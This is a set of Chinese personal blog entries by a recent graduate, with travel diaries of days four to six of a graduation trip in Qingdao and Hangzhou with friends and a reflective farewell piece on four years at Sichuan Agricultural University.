　　完蛋了，她好像真生气了，已经开始沉默不理我了。

　　“好了好了，不开玩笑了，”我笑笑，“你看，今天你不是经常聊一些出片的话题吗，以前的你是不会说这些的。”

　　这是我真实的感想。

　　或许是我只见到了灵高中时的样子吧。犹记得，很久之前，懿对我说：“大学就是一个改造厂。”

　　灵也成长为一个真正而自然的女孩子了呢。一个优秀而独立的人。我仍需要不断追逐的人。一个永恒的，耀眼的目标。

　　最后出法喜寺时，我们再次聊到姻缘。

　　“其实我很清楚自己问题出在哪里，” 沉默良久，我只这样说， “就是缺乏勇气。”

　　法喜寺外围，有许多繁体正楷的石刻经文，上面颜色深浅不一，并非经文如此，而是游客手掌的遗迹。尤其是象征好的方面的那些字眼。

　　灵隐寺也有。早在灵隐寺，灵便鼓动我也去摸一摸。

　　我当时看见了“色即是空，空即是色”这一句经典经文，便笑笑说：“你让我摸，那我肯定是摸‘色’啊。”

　　“好哇，没想到你是这种人。”灵笑笑说。

　　结果我还真摸了。不过是因为当时人有些挤，其它的面前都有人。“色”也还凑合吧……

　　摸这个又怎么了嘛，哼，不喜欢色的都是伪君子。

　　灵在灵隐寺摸了什么，我已然忘记了。人太多，反光，也没留心记。而在法喜寺时，我忽然记起来，有些懊悔。

　　看着她伸手摸向经文的背影，我默默地打开记事本，写下四个字。

　　运・喜・丰・安 。

　　“你不来吗？”

　　我笑笑摇摇头。

　　“这个总得摸一下吧？”灵笑，随后把手盖上了最后一个字。

　　发。

　　我笑出声来。

　　然而，我最后还是选了一个字，寻觅良久。

　　谦。


　　最后一站，西湖。

　　灵原计划按照攻略，带我来茅家埠看睡莲。她说，前两天看见有人发，很多睡莲的花簇在一起，很漂亮。

　　我们到茅家埠时却没看见，或许是时期过了吧。灵似乎有些遗憾。不过我个人还是很喜欢那里的景色。

　　茅家埠的湖也属于西湖的一部分，不过地处边缘，与主湖分开。因此也有了鲜明的边界感。 我很喜欢这种能一眼看到边界的景色。它最好宽阔，但不能太过遥远，让人没有安全感。 在这一点上，这个小湖做得很好。

　　湖面宁静，波光粼粼，明部与暗部相得益彰，交相辉映，像一团团不停跃动的音符，奏响无尽的自然之歌。波光之上，有人乘着划艇泛舟在这无限的韵律之中，看起来散漫惬意。湖面不时有微风拂过，吹得人心旷神怡。偶尔见到的鸭妈妈带小鸭子出游，更添一些生机和趣味。

　　我很喜欢这里。

　　茅家埠似乎没有其它出口，我们必须原路返回。这次，我们专业的灵导游没有走错路。

　　途中路过都锦生故居。我之前没听过这个人，不过灵忽然大生好奇，我便一起去了。

　　都锦生是个爱国实业家，“锦生丝织厂”的创始人。刚开始只在自己家里有一台纺织机，而后越做越大，以至于杭州当地人都以有一块“锦生丝绸”为荣，还一度销往海外。抗日战争时期因拒绝做日军方面的官职，而被日军炸毁了所有的厂房。举家逃往上海后，一段时间积劳成疾，引发脑溢血去世。

　　都锦生的故居很有古典园林建筑的风格，与《红楼梦》里荣国府类似，只是小一些。庭院中堂、内室、景观植物、院檐等等一个不少。

　　要是自己也有这么一个院子该多好啊……一边感慨一边做梦。

　　灵在前面走，我在后面拍了几张。有几张背影很漂亮。

　　我们坐公交车来到西湖旁，一个离白堤很远的地方，坐在长椅上稍作休息。

　　当我按下快门时，她刚好抬起头。

　　我歪头，笑着问她是不是察觉到了什么。她笑着点点头。

　　一路上，我都是这样光明正大地偷拍她，总在她不注意的瞬间。但被她逮住的次数也很多。

　　我很喜欢认真而专注的灵，也很喜欢记录这样的她。或许是我看到的她一直是这样吧。认真、专注、努力，似乎永不放弃、独立又明智。

　　“接下来有什么安排吗？”我问。

　　“接下来没有任何安排了，”灵笑笑说，“本来想着带你去印两个印章，还专门买了明信片。但是搜了一下，那里好像 17:00 关门。”

　　“所以接下来随便玩？”我笑。

　　“对啊。”

　　我们两个都笑出声来。

　　那一刹那，我莫名觉得，现在这样误了点，然后漫无目的、自由散漫地闲逛，才更符合我们两人的风格。 我印象中，散步一直是一件惬意并且只会跟很要好的人才会做的事情。

　　在后续，我也印证了这个想法。

　　“走吧，带你去白堤逛逛。”灵起身。

　　我后来才知道，灵那个时候已经很累了。 写到这里，我忽然觉得有些对不起她。是不是一直以来我都有些太勉强她了呢？

　　要到达白堤，需要先沿着西湖边陲走一段不小的距离。

　　西湖沿岸就是公路，公路另一侧便是建筑物。宾馆、商铺、居民楼，什么都有，就很奇怪。最神奇的是，有些别墅还是维多利亚风的，欧式的建筑在这边沿上非常显眼。

　　我们沿着堤岸一直慢慢地走，有人忽然想起什么，便随便聊两句，问些什么。不过大多数时间都是沉默，就这样静静地走着。乘着彼时的微风，我竟感觉可以一直这样走下去，走过黄昏与黎明。

　　“不说话你不会觉得尴尬吧？”我突然在意起这个，便问。

　　“不会啊，想起什么就说呗，又不是必须要说话，” 灵在说这句话时都没有看我，一直目视前方， “不过跟他在一起的时候不这样，有些时候我总觉得我必须说点什么。”

　　说最后那句话的时候，她才看向我，直视我的眼睛。

　　“这样啊……”

　　随后又是一阵沉默，笼罩在我们中间。

　　这样双方都放松的氛围是最好的。没有谁勉强，也没有谁紧张。

　　我一直觉得与灵相处的氛围十分舒适，让人十分安心。我很喜欢。

　　“天上的那个是什么？”我忽然很好奇。

　　灵眯起眼睛：“风筝……吧？”

　　“竟然还有人放风筝啊……”我有些感慨，“话说为什么不是飞机？”

　　“要是飞机在这个高度，我们早就死掉了……”某人像看傻子一样看着我。

　　西湖很大，也很漂亮。白堤上人来人往，微风轻漾，太阳不时拨开云层，照得湖面生动恣意。远处能看见杭州的高楼，而另一边的彼岸则是矗立在山林里的塔楼，只露一个尖尖的头部让人猜测与欣赏。

　　白堤两侧都有人泛舟游玩。船只有大有小，大的犹如小型客轮，小的仅如蓑舟。大小混杂，看起来别有一番趣味。

　　我们停停走走。 灵真的很累了。

　　我们一路上也断断续续聊了很多东西。她说我送她的手表后盖很紧，没法换电池，就那样一直放着了。我说因为送过她雏菊相关的礼物，所以今天也才特意选了雏菊图案的项链。

　　就这样一路走，一路聊，走到了绿茶餐厅。

　　途中，我们专业的灵导游，又走错方向了……

　　我给她纠正回来，直到这时我才第一次打开导航。之前任由她领着我走，算是信任她的一种表现吧。

　　不过这个时候她也是真的累了吧，所以才会犯迷糊。 虽然犯迷糊傻傻的样子很可爱就是了。

　　“我们走快一点吧。"

　　“但你不是脚疼吗……”

　　“就是因为快不行了，所以要走快点啊……”

　　途中，我问她对于“ 先生[2] ”和“小姐”这两个称呼有没有什么感情。她摇摇头。

　　我很喜欢这两个词。

　　“ 先生[2] ”与“小姐”这两个词，无论哪个都包含了诸多感情。尊敬、仰慕、喜欢、崇拜等等。 这两种称呼对我来说极具特殊含义： 不亲密的人不会动用，不尊敬的人不会动用。

　　“比如鲁迅 先生[2] ，第一反应肯定是尊敬吧？”

　　灵若有所思地说了一句：“杨降 先生[2] 。”

　　“对，有点这种感觉了吧？‘小姐’也是这样。”

　　“感觉民国时期称小姐挺普遍的，”灵想想说，“但是现代对于‘小姐’这个称呼是有歧义的呀！”

　　“确实是，“我笑笑，“但真有人这么正经地称呼你的时候，你会朝那方面想吗？你也不会对自己喜欢和尊敬的人用上那种意思吧？”

　　灵想了想，没什么反应。

　　“所以我为什么这么称呼你，懂了吗？灵小姐？”我笑着说。


　　绿茶餐厅今天人不多，我们前面只有两个号。虽然店铺开在商场里面，但装潢很清幽。这是我第一次也是唯一一次与她单独吃饭。

　　我只记得有道菜叫“面包诱惑”，就是许多面包切成块，上面盖一块冰淇凌。这个设计简直令人震撼，不过吃还是挺好吃的。

　　我本想自己结账，但她不让。我觉得那最次 AA 吧，她还是坚持要尽地主之谊。我俩对峙了大概一分钟，僵持不下。

　　最终我还是妥协了。那一瞬间，我想起了那七条箴言之一：接受好意。心里默默地给了自己一拳。

　　那一顿饭，我们从客满吃到店空。从七点多到九点多。

　　我们聊了非常非常多的东西。

　　感情、哲学、心理学、朋友、趣事、自我评价、经历、规划，对自我和其他人的要求和期待、喜好、对某些事的评价，专业知识、立场、认知和感受等等等等。

　　我很少有这么深入的聊天经历。不仅聊得深刻，而且话题面积广泛，双方也都很认真。很久没有聊得这么愉快过了。

　　一开始是好奇她与前男友复合的过程，然后便从这话题铺开，一路踩不住刹车。

　　最让我震撼的当数两件。这便是今天最后两件顛覆印象的事了。

　　第一便是，灵觉得自己是渣女。

　　我极度震撼。难以置信这种极具冲击力的话从她嘴里说出来。听到这话我一度怀疑自己是不是吃饭吃出了幻觉，整个人在幻听。我确认了一遍，她确实这么说了。我“面包诱惑”都差点吓掉。

　　问了原因，灵也说了很多，但我也觉得“罪不至此”。

　　灵总觉得自己和别人谈恋爱是在害人家。她还说自己做出过很多钢铁直女的举动，更加深了这一感受。她不太习惯与别人接触太亲密，也不习惯去依赖別人，遇事总想弄清楚解决掉。这些特点似乎在恋爱方面给她带来了不小的麻烦。

　　我只说了一句话：“你太独立了，已经成习惯了。”

　　我确实是这么想的，也这么认为。

　　独立这件事，有好有坏吧。好的是可以自给自足，有自己的看法观点，行为模式和生活节奏；坏的是，一直这样下去会过于原子化，和任何人似乎都有着不小的距离，而且 当爱情这种高绑定的关系进入生活时，会产生强烈的排异反应 ，打乱所有事情的节奏。

　　“我很欣赏也很喜欢你的一点，也就是独立。不要觉得这是理所当然的事情，有为数不少的女生根本不会也不想考虑这一点，”我正色解释道，随后补上一个亲身经历，“我原来大二，在食堂亲耳听到三个女生组团聊一个话题：怎么从她们其中一个人的富二代男朋友身上刮钱下来，然后全身而退。”

　　她沉默了几秒，忽然问我：“喜欢一个人是一种什么感觉啊？”

　　我一愣，想起刚才似乎提到了这个词。这问题反倒把我问住了。

　　“我……我也不知道。我喜欢的都是某一个具体的点，喜欢一个人是什么感觉，我还真不知道。”

　　这种东西好像从来没有一个量化的标准可以去衡量。我忽然觉得有些好笑，“喜欢”会不会是一件“皇帝的新装”？世人都在吹捧它漂亮，但实际上没人见过？

　　犹豫了一下，我还是对她说：“你能问出这个问题也就代表，你没有那么喜欢他吧。”

　　灵怔了怔：“怎么说？”

　　“只有没见过的风景，才会去想象。” 我寻找了很久的措辞，才勉强选择了这句话。

　　我现在落笔，始终觉得，灵说她自己是渣女，或许只是因为她太温柔了吧。

　　善良的同时又独立，于是便觉得接受不了别人进入自己的世界，对对方而言是一种伤害，更何况对方还是男朋友。不论有意无意，毕竟这伤害的源头是自己，于是只好谴责自己，觉得自己很渣。

　　我不太好说，也不好形容。但我只这样觉得——她说自己渣，恰好是她足够善良、足够温柔的证明。

　　第二，关于友情与爱情。

　　灵说，她的男朋友曾不止一次地问她：“爱情在你心里是什么地位？”而她说，她的回答也一直很坚定：“亲情友情爱情，三种感情之中永远排最后。有没有都可以，属于锦上添花的东西。”

　　说实话，我在那一瞬间有些罪恶地感到了安心。

　　我曾说过，我没什么自我，于是连带着，我认为自己在别人眼里也并不重要。我很害怕我所看重的人，我认为重要的那些人，我在他们心里并不重要。

　　这种地位差对我来说，尤为致命。

　　同时我也想起了很久之前，珂问我的那个问题：“亲情、友情、爱情、金钱、事业，五个之间需要排序，并且不能平级，你会怎么选？”

　　灵已经给出了其中三个的答案，无比坚定。那自己呢？

　　这场聊天以我的一个总结而告终。

　　“我永远是站在你这边的，毕竟我们认识这么多年了，”我笑笑，“说句不好听的，渣又渣不到我身上来，我何必呢？站是站你这边的，不过你谈恋爱的那些问题就需要你自己去处理了。”

　　聊天侃天侃地，结果菜没吃完……

　　灵说她其实不太喜欢杭邦菜，只是我这次来，特意带我体验一下；她还说，她问室友有没有推荐的餐厅时，她室友推荐了三家店名，然后直接开始报菜名说哪些好吃……

　　我觉得某种意义上，她们两人都挺厉害。

　　好在吃饭休息之后，她脚疼的症状减轻了许多。

　　最后在地铁站分开时，她拿着两张明信片问我要哪张，说是想盖印章没盖成的遗留物。我眼睛一扫，没细看就下了决定：“粉色的！”

　　“你确定？”

　　“粉色的又怎么了嘛……”

　　她笑出声：“没事没事，那就这张吧。”

　　至此，毕业旅行第六天结束。


　　与灵相处有多愉快，我想，等那个日子到来之后我就会有多难过。

　　我真的无比虔诚地希望，不要如“灵隐寺”这个名字一般，让灵从我的朋友中神隐。

（这张照片里的灵，满眼笑意，看起来非常温暖。最喜欢的照片。）

　　我从未告诉她，我参观游览灵隐寺时心里总有些不舒服。原因如此。

　　或许过于敏感，或许杞人忧天，或许无理取闹，但我真的很害怕，如吸血鬼害怕阳光那般，害怕她从我的生活中神隐消失。

　　灵是唯一一个，不会让我总是主动的朋友。


　　南国微雪 Miyuki

　　2023 年 6 月 21 日


写在后面

　　封面图为法喜寺。

引用及附注

[1] 如来：“如来”原同“佛”一致，为一种称呼，但全文同《西游记》讹传一致，代指释迦牟尼。

[2] 先生：“先生”古文指先于说话者出生的人，后演化为尊称，多用于师长，无关性别。“女士们，先生们”开场语为误用。

毕业总结

封面图

摄影师 | RUT MIIT

图源 | Unsplash

写在前面

1376 字 | 经历 | 成长 | 朋友 | 现实 | 生活

正文

　　毕业的那两天，没有风，吹不走我的心绪。

　　天气预报说，今年大部分地区会提前入夏，而雅安的夏天，今年似乎迟到了。当我们吵吵嚷嚷，纠结着在哪儿拍大合照比较好，一束阳光，忽然从梧桐与建筑的罅隙中溜进来。

　　已经是夏天了呢。

　　校园处处都有着，身着黑色学士服而行迹匆匆的人们。

　　纯黑、做工简单、布料闷热不透气、型号不一致、洗水唛还印着东华大学。这件衣服，只给我们，最多一周的时间。而这件衣服，于我而言，此生大约只会穿一次。

　　我将它穿了又脱，反反复复。每次都去见不同的人。我不太想这样，但倘若不如此，作为本次毕业季主角，似乎有失体面。

　　原来我已经是主角了啊。我不止一次地这样想着。

　　很快我要分别那些人们了。

　　风有时会意外来临。吹起头发与裙裾，吹偏衣摆与裤脚，吹出笑容与嗓音。一瞬间，我仿佛置身于车站里，看着火车呼啸而过，回头，身后有着许许多多摆着手的人们。而自己身边，已经积累了足够多厚重的东西，整整齐齐地摞在身边，而最上面，是一张毕业证书。

　　我喜欢风。喜欢这种隐形，喜欢隐形后却有什么昭示它存在，喜欢扫过一切时的坚定，也喜欢吹拂到脸上的感觉。 最喜欢吹过树叶时，那无尽的簌簌声。

　　我喜欢风。拂过四年时，温和、坚定、不急不徐。

　　我此时又多么希望它停下。但风哪会听从人的愿望呢？

　　于是，只是那一阵子。我听着那些树叶的飒飒声，任由什么东西把我的心绪带走，吹散到空中，散成无数柳絮蒲公英，静静下沉到无数我曾走过的地方里，慢慢融入无数我在意的人身体里。

　　我走过教学楼，走过食堂，在图书馆里熬不住困意埋头大睡，又在操场一圈又一圈似乎永无止境地跑着。

　　我在意那个陪我亦陪她自己撒过 8 公里心事的人，在意那些深夜理智黯然失色找我聊天的人，亦怀念活动室里被蛋糕拍到眼睛都睁不开的忍俊不禁，也记得每次表演过后每个人脸上情难自胜的笑。

　　我颓废。有那么几天，失望而沉沦，游戏一整天，末了眼睛都对焦困难，昏睡一整天，起床怔怔望着外面昏暗入夜毫不留情的天空。

　　我上进。有那么几天，从心底觉得自己需要努力，需要追赶那些挂在我世界里闪闪发光的人。

　　我束缚。繁多的课程，被逼着做自己已经熟悉又不得不做的实验。不能逃也不能置之不理。

　　我自由。庞大的人群面前，选择着，舒展着自己的身体，跟随音乐做出动作。无数的目光，却让我感到了无尽的自由。

　　他们颓废。他们上进。

　　她们束缚。她们自由。

　　我们本来毫无关联。我们却一起经历。

　　我们。

　　我。

　　我们一起经历了漫长的、感觉数不尽的、珍馐般的、闪闪发光而只有一次的时间。

　　我经历了四年。

　　35040 个小时。能做无数件事情，而每件事情都有意义。能遇到无数个人，而唯独遇到了你们。

　　我们在时间上永远只有单程票，我不后悔走这一遭。饶是如此，我也想给时间这个世界上最无情的东西，一点我自己的威严。

　　于是我有了 3356 张照片或视频。

　　最终，选了 73 份记忆，永远地变成现实，存放于这个世界上，散落在世界的各个角落。

　　我不后悔这四年，更不后悔从大二上期这道分水岭开始的，之后的大学生活。

　　因为有你们，所以我更幸福。

　　我爱你们。


　　南国微雪 Miyuki

　　2023 年 6 月 14 日

于　四川农业大学图书馆三楼　终笔

致谢（排名不分先后）

四川农业大学

KID 街舞代表队

Darling Dance 舞蹈社

WingStudio 软件工作室

“微雪寻觅”微信公众号全体订阅成员

“南国微雪|一切，都很美丽”Telegram 频道全体订阅成员

一切给予我关心、帮助与支持的人

一切愿意听我授课、闲聊或抱怨的人

写在后面

毕业旅行第五天（2023 年 5 月 22 日）

封面图

摄影师 | Jason Rost

图源 | Unsplash

写在前面

1381 字 | 旅行

正文

　　应该是旅行这几天睡得最慵懒的一天了。

　　兰昨天晚上忽然约定，今天中午要一起吃顿饭，说有一家很好吃的店。所以中午能赶过去就好了。上午睡醒便把片子修了修给她发过去。

　　在等她的那段时间，忽然很想跳舞。

　　昨天，他们去成都参加街头文化艺术节。齐舞，Routine，Battle，都有。末了，KID 一个很早的职业舞者前辈，开了一节大师课。就在吃饭的地方，桌子拉开，中间上课。他们录了视频发群里。

　　看得我真的好激动。

　　我也确实这样做了，只是一直找不到文子师兄说的那种感觉。大约也只能慢慢来吧。

　　兰拍拍我的肩头，示意该走了。

　　店名大树小屋。像是真的开在树心里似的，装潢很有自然古朴的气息。店面积也很小，座位约莫只有十来个，加上摆在外面的桌椅就这个数。最不能让人忽视的，便是满满一墙的心愿便利贴。

　　很多店都有这种设置，不过这家店的尤其吓人。密密麻麻，一条一条如糖葫芦般串起来的便利贴，贴了满满一墙，甚至中部如凸透镜那样突出成了一个孤形。中途还有改道呈“Y”字型的便利贴，也有呈分岔形和放射状的。

　　有一些很有意思的话。

　　在兰出去接电话的时候，我也写了一张。大约是这样的内容。

　　"Je vous aime tous. Pour moi, des personnes importants."

　　兰执意要请客，因为昨天没有付钱不太安心的样子。我拗不过她，便随她去了。两盘蛋炒饭加一个手抓饼。她说这里的蛋炒饭很好吃，自己在家做过，但是总做不出那个味道。至于手抓饼，则是她看我昨天吃得很多……

　　我爆哭。

　　我说我真的吃不掉，她难以置信地瞪着我。我：……

　　她本说吃不掉她就带回学校，最后还是决心要我带上。中途她还想把手抓饼弄成两半来着，看得人好想笑。我从来没有这种想法。

　　她头疼了半天，我也头疼了半天。我午餐确实吃不掉了，没成想却在晚餐时求救了我一命。只是那时候凉掉了。

　　兰说店里的辣椒酱好吃。我尝了一下，确实，还有些辣。

　　最后分别时，我假惺惺地装起哭的样子。惹得某人直笑骂我戏精。

　　走后我才想起要说的话。大概是下午要拍毕业照之故，兰精心打扮了一番，化了妆，编了头发。穿着也很有休闲的感觉。稍微夸了一下，希望她能开心。

　　真的很喜欢和兰在一起时那温和舒缓的氛围。

　　离发车时间还早，我想去看看晴天的栈桥。栈桥周围的海面波光粼粼。因为太阳，潮汐位也比前两天降了许多，能看到露出很大一片石礁。人流与昨日没有分别，仍然很挤。栈桥右侧的海水浴场，玩乐的人变得更多。很多人赤脚走在潮汐里，沙滩的沙比第一海水浴场的看起来更实，也更湿。

　　约莫是天气好起来，每隔半小时上下，便有游客乘坐飞艇飞到空中。海上飞艇的噪声很大，惹得行人纷纷侧目。

　　偶尔也会有穿得很大胆的人，让所有人一步十回头。我甚至无意中听到其它同性的人评价：“天哪！怎么敢穿出来的……”

　　在栈桥附近的坐椅休息时，听到有陌生的语言。看帽子应该是藏彝一带的少数民族。我是真的一点都听不懂……

　　青岛到杭州有六个多小时的车程，途经潍坊、南京等站。从下午 4 点坐到晚上 11 点多。

　　本想在路上多解决一些 plct 的工作，但无奈信号不太好，也实在太困，只强撑着精神完成了一个任务便沉沉睡去。

　　杭州西站晚上很冷，网约车点的设置也很奇怪。杭州的车牌号已经排到六位数了。

　　我实在耐不住困意，在宾馆冲个战斗澡便缩进被窝睡去。

　　翌日，我在公众号只发了一句真实而寂寥的话： 青岛在我离去的那天，阳光明媚。


　　南国微雪 Miyuki

　　2023 年 6 月 10 日

写在后面

　　便利贴所写句子为法语。因记忆模糊，只大意相近。

　　“我爱你们。对我来说，重要的人们。”

毕业旅行第四天（2023 年 5 月 21 日）

封面图

摄影师 | Ivana Cajina

图源 | Unsplash

写在前面

5934 字 | 旅行

正文

　　青岛由于地势不平，在很多地方都形成三角区。不仅如此，公路七七八八也都上下坡，经常需要加速减速，建筑密集，留给道路的地方不多，于是人行横道则更为狭窄。斑马线很多都只有成年人七八步的距离，架在地势不平的斜坡上，设一个红绿灯。

　　青岛给我的第一印象便如此。行走其中，让人感慨，红绿灯实在太多。青岛站附近的建筑大都错落不平，高低极差大，看起来有些凌乱，我个人更喜欢明确划分。大厦群和没有高楼的低密度住宅区分开。虽然这不符合城市规划的“15 分钟城市”理念。

　　作为游客，自然希望景观好一些。

　　踱步街头，常常看到摆在店外的桌椅碗筷。城市给商业店铺的面积小，大概迫不得已。人需要从两桌食客中穿行到下一个路口。桌上蒙桌布，塑料制，圆桌，于是露天摆着颇有一丝农村里“吃席”的感觉。街头小巷处处是依海为生的海鲜餐馆。

　　这些风俗形成了我对青岛的人文印象基调。

　　青岛相比烟台，更依赖海，并且旅游业更发达。商店处处出售着以城市本身为卖点的商品，标语自更不必说。到兰领我去海水浴场时，我才意识到， 青岛和烟台对于游客与海这两者的关系，也有着设计理念上的根本性不同。

　　不知道是因为时间是"5 · 20"和"5 · 21“还是怎的，青岛街头的情侣密度极高，不过听说青岛很久以前便是“情侣的圣地”了。

　　这让反感爱情的我有些不舒服。更奇怪的是，在这“圣地”中，兰和治江各自的学校竟不约而同地表现出了相反的风气。

　　总体来讲，烟台更漂亮一些，而青岛更温柔一些。我喜欢温柔。也或许只是因为，我在青岛遇见的，都是些温柔的人吧。

　　所以当听说民宿老板要给我升级房间时，我十分意外。

　　“你不是订的洗衣房吗？那个本来是我们洗衣服的地方，旁边摆了一架床，”老板让我签了与昨天那个房东一样的短租协议后，边等电梯边和我说，“太小了，没法住人。都打算撤掉了，忘了在美团上取消了。不过刚好有人退了一间房，带独卫的，就只退了这一间。”

　　我听半天没听懂这个房东想表达什么。

　　“啥意思啊？”

　　“意思就是给你免费升级，洗衣房那么小，怎么住人嘛。”房东笑笑说。

　　“押金我也就不要你的了，省得加过去加过来麻烦。”末了他还补了一句。

　　昨天的房东送了我一个相机包，今天的房东给我免费升级房间，我这什么运气……还恰好都在青岛。

　　房东大叔话很多。我们也聊了签协议手续麻烦的事情，他叹了口气。

　　我看过房间，表示谢意。把东西放下之后便去与楼下等我的兰与治江会合。

　　我早上退过房之后，他们便已经到了。催得紧，于是提着大包小包出来见他们，然后觉得自己像个笨蛋一样。应该先去见新房东放行李的。

　　然而就是这十几分钟时间差，让我获得了一个新房间。昨天 24 楼，今天 17 楼。因祸得福吧。

　　今天青岛依然很冷，但相比昨天来说好了很多，起码没有雾了。我特意穿了一件外套，背的衣服也终于派上了用场。

　　所有的行程都由兰一人规划。 我觉得这是一项很厉害的技能。 做这些攻略和计划要不少的精力，愿意去做，并且做出来了，就是一件很棒的事情了。

　　自己可以什么都不用管，只管玩，全身心地交给她。这是一种很舒服也很安心的体验。就是兰会有些辛苦……

　　后天见到灵时，我再次体会到了这种安心的感觉。

　　兰穿浅紫色毛衣，耳挂方形吊坠，治江也穿着深蓝色外套，像他高中时那样。那外套我印象中见过很多次了。

　　第一站，栈桥。

　　昨天去过的那个“不知名公园”。今天的人似乎异常多，触目时视野里总不会少于二十个人头。我没将昨天我来过这里一事与兰说，都这个时候了，路上打断她的计划不好。再者，看他们的反应很有趣。

　　栈桥上常有摆摊号称“15 年从业经验”的摄影师，给游客拍照做营生，相机几乎清一色的佳能，少数几个尼康。无一例外，全是单反，没有微单。镜头也巨夸张，焦段大，很长，可能看起来很专业吧。

　　兰很想要一台相机。见我这次带相机来，她很兴奋的样子，一直叫我给她玩。像小孩子一样，很可爱。

　　兰曾说，她在平板和相机之间纠结了很久，最后因为升学选择了平板，相机成了一种执念。也不知道她现在平板用得怎么样。

　　“要不我先给你讲些理论知识？”我这镜头是手动对焦，很容易拍糊。有些担心，所以这么问。

　　“哎呀，那不管。快点拿来，我要先过瘾。”她催促我。

　　我看她心急的样子，笑出声来。 真的好可爱。

　　不过果然不出我所料，前面几张全糊了。她看起来有些不开心。我笑笑跟她讲要怎样对焦，她终于耐心下来听。不过她最后还是嫌麻烦的样子，我就索性换了颗自动镜头。虽然效果不太好，不过她玩得开心最重要。

　　“这下你负责按快门就好了。”

　　“好。早这样做不就好了吗，真是……”

　　她笑逐颜开。

　　我再次笑出声来。

　　她想抓拍海鸥，但是总抓拍不到。海鸥总是在她举起相机对焦时停下不动，等她放下时又开始飞。

　　“好烦啊。”她向我们抱怨。

　　生闷气的样子真的好可爱。

　　我和治江任由她玩着相机，我们则在一旁开始热烈地讨论刚才那些人喂了海鸥什么食物，以及，如果没有人喂，海鸥又吃些什么。

　　“应该是揉成团的面包吧。”“为什么不能是整点薯条？”“你家薯条能揉成一坨啊。”“那那个东西是啥？” “不管，喂鸟的食物，不认识的统一认为是面包屑。”我笑着说。

　　这是我生平第一次看见活的海鸥。海鸥因为常常翱翔于辽阔的海上，所以也被部分人看作是自由的象征。

　　但仔细一看，这象征看起来还蛮笨的。两只脚悬吊着，几乎垂直于海面。人们扔些吃的过来便飞着抢。有几只飞到中途看已经没了，于是就地降落。也不知道它们平时打不打架。

　　下到栈桥岸边，岸上几乎密密麻麻的贝壳石，看起来有些吓人。石头上密布着无数白色贝壳。

　　兰蹲在一边，笑着对我说：“认识吗？”她指指岸上的生物。

　　“我肯定不认识呀，”我笑，“你呢？你不是这个专业的吗？”

　　“对啊，不少我还解剖过呢。”她得意地说。

　　不过最后，她好像也几乎还给老师了，认出来一个牡蛎。只能让人笑叹一声：当代大学生原来是这样啊。

　　正当我疑惑治江去了哪里，他回来了，伴着一声叹息。

　　“根本漂不起来啊。”

　　“什么？”

　　“打水漂啊。”

　　“你刚才打水漂去了？”我觉得有些好笑，“先不说石头好不好找，这海面上也漂不起来呀，又不是在湖上。”

　　“哼，那可说不一定。我可是专门看视频学过的，入水角度要在 15 度到 25 度之间。就是石头不好找。”

　　我只是笑。

　　中午的海鲜大餐没有想象中那么好吃，大概是第一次吃的人抱有的不切实际的幻想吧。 饶是如此，我还是吃了很多，毕竟好奇而且味道很鲜。

　　兰对于晚餐去哪里吃还没有定夺。

　　记不清是下午还是中午了，在地铁上她问我，选哪一家。我首先问的便是她有没有去吃过。她说，有一家吃过，味道还可以，另一家没有，但看评分和评论还可以。

　　她想带我去那家味道还可以的店。

　　而中午那家店，也是她吃过的。

　　“那去你没吃过的那家吧。”我说。

　　“你确定吗？我不知道好不好吃哦？”她好像有些不安。

　　我十分理解她的疑惑。为了保证我的体验是最好的，所以要去吃过的最棒的店。要是冒险去新的店，不好吃的话，可能心情就不太愉快了。

　　我十分喜欢她这种温柔的地方。 之后，我也如实地说出了我的想法。

　　“我想让你这次出来玩儿的过程中有全新的体验，” 我鼓起勇气， “不管好吃与否，都有一种新的感觉。认识一家新的店，总归是好的。”

　　“可以吗？”我问。

　　她犹豫了两分钟左右，最后点点头：“那就这里吧。”

　　我松了一口气。

　　勇气是我一直缺乏的东西，我不想她也缺乏这种珍贵的东西。 到写的此刻我全然记不起那家店叫什么名字了，但这已然不重要了。我的目的已经达成了。

　　要说还记得什么的话，只记得她说很喜欢炸虾仁，不喜欢豆瓣酱。

　　炸虾仁确实很好吃。嗯。

　　我来青岛就是为了见她的，要是没能让她体验到新东西，就有悖此行的目的了。

　　炸虾仁也是真的好吃。同时知道了这件事，感觉也不坏吧，嗯。

　　第二站，天主教堂。

　　中途发生了一件我很想聊的事情。 木头大概终于有一次不再那么木头了吧。

　　去教堂的路上，兰一直喊冷。表现的举动也显得很冷的样子。我看着她身上的浅紫色毛衣，觉得有些奇怪。

　　那一瞬间，我突然想起以前看过的一篇报道，讲述空调房里男性嫌热，女性嫌冷的奇怪现象。最后的结论便是女性比男性对冷更敏感。

　　写到这里，特意去查了一下，是剑桥大学在 American Journal of Physical Anthropology 的一篇论文，但没找到 Reference。

　　与男性相比，女性骨架小、散热快，同时由于脂肪型体型的缘故，产热肌群比男性更少，新陈代谢也慢了 30% - 35%。以上带来的结果是：女性更耐热的同时，对冷更敏感。所以会出现空调房里的现象，以及情侣间，男方普遍抱怨女方洗澡水烫人的情况。

　　终于反应过来。

　　当我把兜帽扣在她脑袋上时，她好像吓了一跳。见她没推辞，扒下来穿上，我还挺开心。

　　兰中午还说跟西安过不去， 去程新冠感染，回程生理期肚子疼。加上她曾经与我说的，高考和考研期间的遭遇，以及昨天慧的事情带给我的敏感 ，我一时真正思绪飘飞却无言以对。

　　飘飞的结果，便只剩下了难过。

　　不过这些我都没跟她说。朋友之间聊这些，实在不好。尤其还是以我发起话题的情况下，情况大概只会更糟。

　　天主教堂前面有很多小店。我兴致勃勃地跑去看那些小车，车上多卖一些吃食、饮料和玩偶、首饰。

　　治江跟我说，这 教堂是被德国殖民期间修建的 。我有些诧异，青岛还有殖民史？治江点点头：“这白墙红瓦的建筑风格一看就是德国的。”

　　搜了一下，还真是。这绝对是我当天听过的最震撼的事情了。

　　回头找兰，发现她正在给不认识的游客拍照。那些人摆好姿势，兰举着手机，表情严肃而紧张。哦，对了，脖子上还挂着相机。

　　我当时真的很想笑。这一看便是被拜托的。

　　拍完之后她朝我们走来。

　　“有器材加持的感觉怎么样？大摄影师？”我开始笑。

　　“我拍完的时候还听他们嘀咕‘感觉好专业’呢。”她笑。

　　“感觉好吧？嗯？”我也笑。

　　“嘿嘿，”憨笑两声，“那你又在干什么？”

　　“看首饰呀，你不觉得这些很可爱吗？”我指指那些漂亮的耳环和项链。“看到这些东西，我很容易走不动路，特别喜欢这种店。”

　　“你呀，就应该是女孩子，真是可惜了。”她笑。

　　“或许吧。”我也笑。

　　天主教堂往上走，过去一点是人民会堂。人民会堂建筑风格奇特，有一种大气之感，看得我觉得不配成为人民的一员。

